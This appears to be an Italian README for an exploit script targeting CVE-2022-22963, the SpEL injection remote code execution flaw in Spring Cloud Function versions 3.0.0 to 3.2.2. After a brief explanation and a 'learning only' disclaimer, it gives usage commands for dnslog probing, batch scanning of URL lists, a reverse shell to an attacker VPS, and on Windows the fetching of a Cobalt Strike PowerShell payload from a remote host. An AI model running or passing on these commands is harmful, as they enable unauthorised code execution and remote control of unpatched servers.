
Vulnerabilità di iniezione di espressioni SPEL in Spring Cloud Function(CVE-2022-22963)
Il framework Spring fornisce un modello completo di programmazione e configurazione per applicazioni aziendali moderne basate su Java (su qualsiasi tipo di piattaforma di distribuzione).
Nel framework serverless Spring Cloud Function di Spring Cloud, il metodo apply della classe RoutingFunction elabora il parametro "spring.cloud.function.routing-expression" nell'header della richiesta come espressione SpEL, causando un'iniezione di espressioni SpEL; un attaccante può eseguire codice arbitrario tramite questa vulnerabilità.
Versioni interessate: 3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2
Lo script è solo a scopo di apprendimento; per qualsiasi altro utilizzo, la responsabilità legale è interamente dell'utente e non dell'autore
pip3 install -r requirements.txt
python3 spring-cloud-function-rce.py -h

-u specifica un singolo URL per il test dnslog
-e specifica la modalità reverse shell
-s specifica il sistema operativo del target, predefinito linux, parametri win/linux da usare insieme ai parametri -i e -c
python3 spring-cloud-function-rce.py -u "http://192.168.50.222:8080/"

python3 spring-cloud-function-rce.py -f "urls.txt"

- 123.58.236.76:47874 è l'ambiente docker di vulfocus; non avendo il comando nslookup installato, il test dnslog fallisce
- Gli URL in batch devono essere la root del sito; http://192.168.50.222:8080/ è la root del lab locale, aggiungere la directory test rende il POC inefficace
python3 spring-cloud-function-rce.py -u "http://192.168.50.222:8080/" -e -i "vps的ip地址:5566"

python3 spring-cloud-function-rce.py -u "http://192.168.50.222:8080/" -e -s "win" -c "http://vps/a"
-c specifica l'indirizzo del codice PowerShell generato da CS per la connessione; deve essere usato con -s "win"; l'opzione -c deve essere eseguita su Windows, lo script chiamerà PowerShell per la codifica del POC


